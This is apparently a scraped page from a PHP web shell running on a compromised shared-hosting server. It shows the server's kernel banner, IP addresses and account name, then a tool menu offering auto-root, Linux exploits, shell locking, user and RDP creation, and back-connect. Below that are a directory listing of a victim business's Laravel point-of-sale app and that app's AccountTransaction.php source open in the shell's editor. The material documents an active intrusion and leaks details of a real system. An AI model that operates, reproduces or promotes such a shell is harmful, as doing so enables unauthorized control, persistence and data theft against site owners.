Linux server1.signalhg.team 4.18.0-553.134.1.el8_10.x86_64 #1 SMP Tue Jun 16 16:05:57 EDT 2026 x86_64
Apache
: 209.74.80.147 | : 216.73.217.69
150 Domain
8.1.34
signgwph
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
signgwph /
signaltechvethouse.com /
app /
[ HOME SHELL ]
Name
Size
Permission
Action
Charts
[ DIR ]
drwxr-xr-x
Console
[ DIR ]
drwxr-xr-x
Events
[ DIR ]
drwxr-xr-x
Exceptions
[ DIR ]
drwxr-xr-x
Exports
[ DIR ]
drwxr-xr-x
Http
[ DIR ]
drwxr-xr-x
Listeners
[ DIR ]
drwxr-xr-x
Mail
[ DIR ]
drwxr-xr-x
Notifications
[ DIR ]
drwxr-xr-x
Providers
[ DIR ]
drwxr-xr-x
Restaurant
[ DIR ]
drwxr-xr-x
Utils
[ DIR ]
drwxr-xr-x
Account.php
3.93
KB
-rw-r--r--
AccountTransaction.php
4.35
KB
-rw-r--r--
AccountType.php
486
B
-rw-r--r--
Barcode.php
221
B
-rw-r--r--
Brands.php
1.03
KB
-rw-r--r--
Business.php
2.79
KB
-rw-r--r--
BusinessLocation.php
5.26
KB
-rw-r--r--
CashDenomination.php
230
B
-rw-r--r--
CashRegister.php
584
B
-rw-r--r--
CashRegisterTransaction.php
237
B
-rw-r--r--
Category.php
2.94
KB
-rw-r--r--
Contact.php
12.14
KB
-rw-r--r--
Currency.php
104
B
-rw-r--r--
CustomerGroup.php
1.08
KB
-rw-r--r--
DashboardConfiguration.php
116
B
-rw-r--r--
Discount.php
528
B
-rw-r--r--
DocumentAndNote.php
781
B
-rw-r--r--
ExpenseCategory.php
815
B
-rw-r--r--
GroupSubTax.php
213
B
-rw-r--r--
InvoiceLayout.php
1.06
KB
-rw-r--r--
InvoiceScheme.php
835
B
-rw-r--r--
Media.php
6.44
KB
-rw-r--r--
NotificationTemplate.php
17.07
KB
-rw-r--r--
PaymentAccount.php
730
B
-rw-r--r--
Printer.php
1.57
KB
-rw-r--r--
Product.php
5.35
KB
-rw-r--r--
ProductRack.php
225
B
-rw-r--r--
ProductVariation.php
452
B
-rw-r--r--
PurchaseLine.php
1.85
KB
-rw-r--r--
ReferenceCount.php
228
B
-rw-r--r--
SellingPriceGroup.php
1.6
KB
-rw-r--r--
StockAdjustmentLine.php
474
B
-rw-r--r--
System.php
2.35
KB
-rw-r--r--
TaxRate.php
2.67
KB
-rw-r--r--
Transaction.php
13.22
KB
-rw-r--r--
TransactionPayment.php
3.18
KB
-rw-r--r--
TransactionSellLine.php
2.61
KB
-rw-r--r--
TransactionSellLinesPurchaseLi...
375
B
-rw-r--r--
TypesOfService.php
762
B
-rw-r--r--
Unit.php
1.3
KB
-rw-r--r--
User.php
8.56
KB
-rw-r--r--
UserContactAccess.php
113
B
-rw-r--r--
Variation.php
1.64
KB
-rw-r--r--
VariationGroupPrice.php
233
B
-rw-r--r--
VariationLocationDetails.php
238
B
-rw-r--r--
VariationTemplate.php
398
B
-rw-r--r--
VariationValueTemplate.php
418
B
-rw-r--r--
Warranty.php
1.33
KB
-rw-r--r--
error_log
274
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : AccountTransaction.php
<?php namespace App; use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Eloquent\SoftDeletes; class AccountTransaction extends Model { use SoftDeletes; protected $guarded = ['id']; /** * The attributes that should be mutated to dates. * * @var array */ protected $dates = [ 'operation_date', 'created_at', 'updated_at' ]; public function media() { return $this->morphMany(\App\Media::class, 'model'); } public function transaction() { return $this->belongsTo(\App\Transaction::class, 'transaction_id'); } /** * Gives account transaction type from payment transaction type * @param string $payment_transaction_type * @return string */ public static function getAccountTransactionType($tansaction_type) { $account_transaction_types = [ 'sell' => 'credit', 'purchase' => 'debit', 'expense' => 'debit', 'purchase_return' => 'credit', 'sell_return' => 'debit', 'payroll' => 'debit', 'expense_refund' => 'credit' ]; return $account_transaction_types[$tansaction_type]; } /** * Creates new account transaction * @return obj */ public static function createAccountTransaction($data) { $transaction_data = [ 'amount' => $data['amount'], 'account_id' => $data['account_id'], 'type' => $data['type'], 'sub_type' => !empty($data['sub_type']) ? $data['sub_type'] : null, 'operation_date' => !empty($data['operation_date']) ? $data['operation_date'] : \Carbon::now(), 'created_by' => $data['created_by'], 'transaction_id' => !empty($data['transaction_id']) ? $data['transaction_id'] : null, 'transaction_payment_id' => !empty($data['transaction_payment_id']) ? $data['transaction_payment_id'] : null, 'note' => !empty($data['note']) ? $data['note'] : null, 'transfer_transaction_id' => !empty($data['transfer_transaction_id']) ? $data['transfer_transaction_id'] : null, ]; $account_transaction = AccountTransaction::create($transaction_data); return $account_transaction; } /** * Updates transaction payment from transaction payment * @param obj $transaction_payment * @param array $inputs * @param string $transaction_type * @return string */ public static function updateAccountTransaction($transaction_payment, $transaction_type) { if (!empty($transaction_payment->account_id)) { $account_transaction = AccountTransaction::where( 'transaction_payment_id', $transaction_payment->id ) ->first(); if (!empty($account_transaction)) { $account_transaction->amount = $transaction_payment->amount; $account_transaction->account_id = $transaction_payment->account_id; $account_transaction->operation_date = $transaction_payment->paid_on; $account_transaction->save(); return $account_transaction; } else { $accnt_trans_data = [ 'amount' => $transaction_payment->amount, 'account_id' => $transaction_payment->account_id, 'type' => self::getAccountTransactionType($transaction_type), 'operation_date' => $transaction_payment->paid_on, 'created_by' => $transaction_payment->created_by, 'transaction_id' => $transaction_payment->transaction_id, 'transaction_payment_id' => $transaction_payment->id ]; //If change return then set type as debit if ($transaction_payment->transaction->type == 'sell' && $transaction_payment->is_return == 1) { $accnt_trans_data['type'] = 'debit'; } self::createAccountTransaction($accnt_trans_data); } } } public function transfer_transaction() { return $this->belongsTo(\App\AccountTransaction::class, 'transfer_transaction_id'); } public function account() { return $this->belongsTo(\App\Account::class, 'account_id'); } }
Close